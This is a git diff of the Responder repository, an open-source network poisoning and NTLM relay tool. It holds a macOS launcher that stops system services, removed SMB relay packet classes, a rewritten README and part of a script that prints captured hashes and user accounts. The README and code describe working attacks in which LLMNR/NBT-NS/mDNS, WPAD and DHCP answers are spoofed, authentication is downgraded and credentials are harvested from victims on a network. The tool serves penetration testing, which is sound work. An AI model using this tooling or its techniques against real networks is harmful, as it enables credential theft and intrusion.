+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
diff --git a/OSX_launcher.sh b/OSX_launcher.sh
new file mode 100644
index 0000000..d9e9423
--- /dev/null
+++ b/OSX_launcher.sh
@@ -0,0 +1,39 @@
+# responder launcher
+# set -x
+# Usage:
+# ./responderd /path/to/responder interface responder_options
+
+# port list
+# Everything -> tcp:21 tcp:80 tcp:25 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:443 tcp:445 tcp:110 tcp:389 tcp:1433 tcp:3141 udp:5353 udp:5355
+PORT_LIST=(tcp:21 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:445 tcp:389 tcp:1433 udp:5353 udp:5355)
+SVC_LIST=()
+
+# check for running processes and kill them one by one
+# looping over everything rather than doing a mass kill because some processes may be
+# children and may not need to be killed
+for port in ${PORT_LIST[@]}; do
+ PROC=$(lsof +c 0 -i $port | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1)
+ if [ -n "$PROC" ]; then
+ AGENT=$(sudo launchctl list | grep -m 1 $PROC | cut -f3 | sed 's/.reloaded//g')
+
+ # load/unload are listed as "legacy" in 10.10+ may need to change this someday
+ echo "Stopping $PROC"
+ sudo launchctl unload -w /System/Library/LaunchDaemons/$AGENT.plist
+
+ # append killed service to new array
+ SVC_LIST+=($AGENT)
+ fi
+done
+
+# get IP address
+IP=$(ifconfig $2 | grep 'inet ' | cut -d' ' -f2)
+
+# Launch responder
+python $1 $3 -i $IP
+
+# restore stopped services
+for agent in ${SVC_LIST[@]}; do
+ echo "Starting $agent"
+ sudo launchctl load -w /System/Library/LaunchDaemons/$agent.plist
+
+done
diff --git a/RAPLANMANPackets.py b/RAPLANMANPackets.py
deleted file mode 100644
index c0fb385..0000000
--- a/RAPLANMANPackets.py
+++ /dev/null
@@ -1,160 +0,0 @@
-import struct
-from odict import OrderedDict
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x08"),
- ("flag2", "\x01\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x3c\x1b"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNegoData(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x54\x00"),
- ("separator1","\x02" ),
- ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
- ("separator2","\x02"),
- ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
- ])
- def calculate(self):
- CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
- self.fields["bcc"] = struct.pack("
-http://www.spiderlabs.com
+# Responder/MultiRelay #
-INTRODUCTION
-============
+IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
-This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to
-*specific* NBT-NS (NetBIOS Name Service) queries based on their name
-suffix (see: http://support.microsoft.com/kb/163409). By default, the
-tool will only answers to File Server Service request, which is for SMB.
-The concept behind this, is to target our answers, and be stealthier on
-the network. This also helps to ensure that we don't break legitimate
-NBT-NS behavior. You can set the -r option to "On" via command line if
-you want this tool to answer to the Workstation Service request name
-suffix.
+Author: Laurent Gaffie https://g-laurent.blogspot.com
-FEATURES
-========
+
+
+## Intro ##
+
+Responder is an LLMNR, NBT-NS and MDNS poisoner.
+
+## Features ##
+
+- Dual IPv6/IPv4 stack.
- Built-in SMB Auth server.
- Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
- Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
- Clear text password is supported for NT4, and LM hashing downgrade when the
- --lm option is set to On. This functionality is enabled by default when the
- tool is launched.
+
+Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
- In order to redirect SQL Authentication to this tool, you will need to
- set the option -r to On(NBT-NS queries for SQL Server lookup are using
- the Workstation Service name suffix) for systems older than windows
- Vista (LLMNR will be used for Vista and higher). This server supports
- NTLMv1, LMv2 hashes. This functionality was successfully tested on
- Windows SQL Server 2005 & 2008.
+
+This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server.
- In order to redirect HTTP Authentication to this tool, you will need
- to set the option -r to On for Windows version older than Vista (NBT-NS
- queries for HTTP server lookup are sent using the Workstation Service
- name suffix). For Vista and higher, LLMNR will be used. This server
- supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
- was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
- Note: This module also works for WebDav NTLM authentication issued from
- Windows WebDav clients (WebClient). You can now send your custom files to a victim.
+
+This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
+
+Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
- Built-in HTTPS Auth server.
- In order to redirect HTTPS Authentication to this tool, you will need
- to set the -r option to On for Windows versions older than Vista (NBT-NS
- queries for HTTP server lookups are sent using the Workstation Service
- name suffix). For Vista and higher, LLMNR will be used. This server
- supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
- was successfully tested on IE 6 to IE 10, Firefox, Chrome, and Safari.
- The folder Cert/ was added and contain 2 default keys, including a dummy
- private key. This is *intentional*, the purpose is to have Responder
- working out of the box. A script was added in case you need to generate
- your own self signed key pair.
+
+Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
- Built-in LDAP Auth server.
- In order to redirect LDAP Authentication to this tool, you will need
- to set the option -r to On for Windows version older than Vista (NBT-NS
- queries for HTTP server lookup are sent using the Workstation Service
- name suffix). For Vista and higher, LLMNR will be used. This server
- supports NTLMSSP hashes and Simple Authentication (clear text authentication).
- This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
-- Built-in FTP Auth server.
- This module will collect FTP clear text credentials.
+This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
-- Built-in small DNS server. This server will answer type A queries. This
- is really handy when it's combined with ARP spoofing.
+- Built-in DCE-RPC Auth server.
-- All hashes are printed to stdout and dumped in an unique file John
- Jumbo compliant, using this format:
- (SMB or MSSQL or HTTP)-(ntlm-v1 or v2 or clear-text)-Client_IP.txt
- The file will be located in the current folder.
+This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
-- Responder will logs all its activity to a file Responder-Session.log.
+- Built-in FTP, POP3, IMAP, SMTP Auth servers.
-- When the option -f is set to "On", Responder will fingerprint every host who issued
- an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
+This modules will collect clear text credentials.
-- Browser Listener finds the PDC in stealth mode.
+- Built-in DNS server.
-- Icmp Redirect for MITM on Windows XP/2003 and earlier Domain members. This attack combined with
- the DNS module is pretty effective.
+This server will answer type SRV and A queries. This is really handy when it's combined with ARP spoofing.
-- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
+- Built-in WPAD Proxy Server.
-- Analyze mode: This module allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning any requests. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
+This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
-- Responder is now using a configuration file. See Responder.conf.
+- Browser Listener
-- Built-in POP3 auth server. This module will collect POP3 plaintext credentials
+This module allows to find the PDC in stealth mode.
-- Built-in SMTP auth server. This module will collect PLAIN/LOGIN clear text credentials.
+- Icmp Redirect
-CONSIDERATIONS
-==============
+ python tools/Icmp-Redirect.py
-- This tool listen on several port: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433,
- TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
- If you run Samba on your system, stop smbd and nmbd and all other
- services listening on these ports.
- For Ubuntu users:
- Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line : "dns=dnsmasq".
- Then kill dnsmasq with this command (as root): killall dnsmasq -9
+For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
-- Any rogue server can be turn off in Responder.conf.
+- Rogue DHCP
-- You can set a network interface via command line switch -I. Default is all.
+ python tools/DHCP.py
+
+DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. To inject a DNS server, domain, route on all Windows version and any linux box, use -R
+
+- Analyze mode.
+
+This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
+
+## Hashes ##
+
+All hashes are printed to stdout and dumped in a unique John Jumbo compliant file, using this format:
+
+ (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
+
+Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
+
+- Responder will log all its activity to Responder-Session.log
+- Analyze mode will be logged to Analyzer-Session.log
+- Poisoning will be logged to Poisoners-Session.log
+
+Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
+
+
+## Considerations ##
+
+- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
+
+- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
+
+- For Ubuntu users:
+
+Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dns=dnsmasq`. Then kill dnsmasq with this command (as root): `killall dnsmasq -9`
+
+- Any rogue server can be turned off in Responder.conf.
- This tool is not meant to work on Windows.
+- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
-USAGE
-=====
+ launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
-First of all, please take a look at Responder.conf and set it for your needs.
-Running this tool:
+ launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
-- python Responder.py [options]
+ launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
-Usage Example:
+ launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
-python Responder.py -i 10.20.30.40 -r On -F On -w On
+## Usage ##
-Options List:
+First of all, please take a look at Responder.conf and tweak it for your needs.
--h, --help show this help message and exit.
+Running the tool:
--i 10.20.30.40, --ip=10.20.30.40 The ip address to redirect the traffic to.
- (usually yours)
+ ./Responder.py [options]
--I eth0, --interface=eth0 Network interface to use
+Typical Usage Example:
--b Off, --basic=Off Set this to On if you want to return a
- Basic HTTP authentication. Off will return
- an NTLM authentication.
+ ./Responder.py -I eth0 -Pv
--r Off, --wredir=Off Set this to On to enable answers for netbios
- wredir suffix queries. Answering to wredir
- will likely break stuff on the network
- (like classics 'nbns spoofer' will).
- Default value is therefore set to Off.
+Options:
--f Off, --fingerprint=Off This option allows you to fingerprint a
- host that issued an NBT-NS or LLMNR query.
-
--w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue
- proxy server. Default value is Off
-
---lm=Off Set this to On if you want to force LM hashing
- downgrade for Windows XP/2003 and earlier. Default value is Off
-
--F Off, --ForceWpadAuth=Off Set this to On or Off to force NTLM/Basic authentication on
- wpad.dat file retrieval. This might cause a login prompt in
- some specific cases. Default value is Off
-
--A, --analyze Analyze mode. This option allows you to see NBT-NS,BROWSER,
- LLMNR requests from which workstation to which workstation
- without poisoning any requests. Also, you can map domains,
- MSSQL servers, workstations passively.
+ --version show program's version number and exit
+ -h, --help show this help message and exit
+ -A, --analyze Analyze mode. This option allows you to see NBT-NS,
+ BROWSER, LLMNR requests without responding.
+ -I eth0, --interface=eth0
+ Network interface to use, you can use 'ALL' as a
+ wildcard for all interfaces
+ -i 10.0.0.21, --ip=10.0.0.21
+ Local IP to use (only for OSX)
+ -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
+ Poison all requests with another IPv6 address than
+ Responder's one.
+ -e 10.0.0.22, --externalip=10.0.0.22
+ Poison all requests with another IP address than
+ Responder's one.
+ -b, --basic Return a Basic HTTP authentication. Default: NTLM
+ -d, --DHCP Enable answers for DHCP broadcast requests. This
+ option will inject a WPAD server in the DHCP response.
+ Default: False
+ -D, --DHCP-DNS This option will inject a DNS server in the DHCP
+ response, otherwise a WPAD server will be added.
+ Default: False
+ -w, --wpad Start the WPAD rogue proxy server. Default value is
+ False
+ -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
+ Upstream HTTP proxy used by the rogue WPAD Proxy for
+ outgoing requests (format: host:port)
+ -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
+ retrieval. This may cause a login prompt. Default:
+ False
+ -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
+ authentication for the proxy. WPAD doesn't need to be
+ ON. This option is highly effective. Default: False
+ -Q, --quiet Tell Responder to be quiet, disables a bunch of
+ printing from the poisoners. Default: False
+ --lm Force LM hashing downgrade for Windows XP/2003 and
+ earlier. Default: False
+ --disable-ess Force ESS downgrade. Default: False
+ -v, --verbose Increase verbosity.
+ -t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
+ Value in hex (30 seconds = 1e). use '-t random' for
+ random TTL
+ -N ANSWERNAME, --AnswerName=ANSWERNAME
+ Specifies the canonical name returned by the LLMNR
+ poisoner in tits Answer section. By default, the
+ answer's canonical name is the same as the query.
+ Changing this value is mainly useful when attempting
+ to perform Kebreros relaying over HTTP.
+ -E, --ErrorCode Changes the error code returned by the SMB server to
+ STATUS_LOGON_FAILURE. By default, the status is
+ STATUS_ACCESS_DENIED. Changing this value permits to
+ obtain WebDAV authentications from the poisoned
+ machines where the WebClient service is running.
--v More verbose
+## Donation ##
+
+You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
+
+"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
+
+Paypal:
+
+https://paypal.me/PythonResponder
+## Acknowledgments ##
-For more information read these posts:
-http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
-http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
-http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
-http://blog.spiderlabs.com/2014/02/responder-20-owning-windows-networks-part-3.html
+Late Responder development has been possible because of the donations received from individuals and companies.
-Follow our latest updates on twitter:
-https://twitter.com/PythonResponder
+We would like to thanks those major sponsors:
-COPYRIGHT
-=========
+- SecureWorks: https://www.secureworks.com/
+
+- Synacktiv: https://www.synacktiv.com/
+
+- Black Hills Information Security: http://www.blackhillsinfosec.com/
+
+- TrustedSec: https://www.trustedsec.com/
+
+- Red Siege Information Security: https://www.redsiege.com/
+
+- Open-Sec: http://www.open-sec.com/
+
+- And all, ALL the pentesters around the world who donated to this project.
+
+Thank you.
+
+
+## Copyright ##
NBT-NS/LLMNR Responder
-Created by Laurent Gaffie
-Copyright (C) 2013 Trustwave Holdings, Inc.
-
+
+Responder, a network take-over set of tools created and maintained by Laurent Gaffie.
+
+email: laurent.gaffie@gmail.com
+
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
@@ -191,6 +231,6 @@ This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
-
+
You should have received a copy of the GNU General Public License
-along with this program. If not, see
+along with this program. If not, see .
diff --git a/RelayPackets.py b/RelayPackets.py
deleted file mode 100644
index 08071fa..0000000
--- a/RelayPackets.py
+++ /dev/null
@@ -1,480 +0,0 @@
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-##################################################################################
-#SMB Client Stuff
-##################################################################################
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x4e"),
- ("uid", "\x00\x08"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("Wordcount", "\x00"),
- ("Bcc", "\x62\x00"),
- ("Data", "")
- ])
-
- def calculate(self):
- self.fields["Bcc"] = struct.pack("i", len(''.join(payload)))
- return length
-
-#Set MID SMB Header field.
-def midcalc(data):
- pack=data[34:36]
- return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
- pack=data[32:34]
- return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
- pack=data[30:32]
- return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
- pack=data[28:30]
- return pack
-
-#SMB Header answer packet.
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("errorcode", "\x00\x00\x00\x00" ),
- ("flag1", "\x80"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\xff\xfe"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-#SMB Negotiate Answer packet.
-class SMBNegoAns(Packet):
- fields = OrderedDict([
- ("Wordcount", "\x11"),
- ("Dialect", ""),
- ("Securitymode", "\x03"),
- ("MaxMpx", "\x32\x00"),
- ("MaxVc", "\x01\x00"),
- ("Maxbuffsize", "\x04\x11\x00\x00"),
- ("Maxrawbuff", "\x00\x00\x01\x00"),
- ("Sessionkey", "\x00\x00\x00\x00"),
- ("Capabilities", "\xfd\x43\x00\x00"),
- ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
- ("Keylength", "\x08"),
- ("Bcc", "\x10\x00"),
- ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
- ("Domain", ""),
-
- ])
-
- def calculate(self):
-
- ##Then calculate.
- CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
- self.fields["Bcc"] = struct.pack(".
+import sqlite3
+import os
+
+def color(txt, code = 1, modifier = 0):
+ if txt.startswith('[*]'):
+ settings.Config.PoisonersLogger.warning(txt)
+ elif 'Analyze' in txt:
+ settings.Config.AnalyzeLogger.warning(txt)
+
+ if os.name == 'nt': # No colors for windows...
+ return txt
+ return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
+
+def DbConnect():
+ cursor = sqlite3.connect("./Responder.db")
+ return cursor
+
+def FingerDbConnect():
+ cursor = sqlite3.connect("./tools/RunFinger.db")
+ return cursor
+
+def GetResponderData(cursor):
+ res = cursor.execute("SELECT * FROM Responder")
+ for row in res.fetchall():
+ print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
+
+def GetResponderUsernamesStatistic(cursor):
+ res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
+ for row in res.fetchall():
+ print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
+
+def GetResponderUsernames(cursor):
+ res = cursor.execute("SELECT DISTINCT user FROM Responder")
+ for row in res.fetchall():
+ print('User account: {0}'.format(row[0]))
+
+def GetResponderUsernamesWithDetails(cursor):
+ res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
+ for row in res.fetchall():
+ print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
+
+
+def GetResponderCompleteHash(cursor):
+ res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
+ for row in res.fetchall():
+ print('{0}'.format(row[0]))
+
+def GetUniqueLookupsIP(cursor):
+ res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
+ for row in res.fetchall():
+ if 'fe80::' in row[1]:
+ pass
+ else:
+ print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
+
+def GetUniqueLookups(cursor):
+ res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
+ for row in res.fetchall():
+ print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
+
+def GetUniqueDHCP(cursor):
+ res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
+ for row in res.fetchall():
+ print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
+
+def GetRunFinger(cursor):
+ res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
+ for row in res.fetchall():
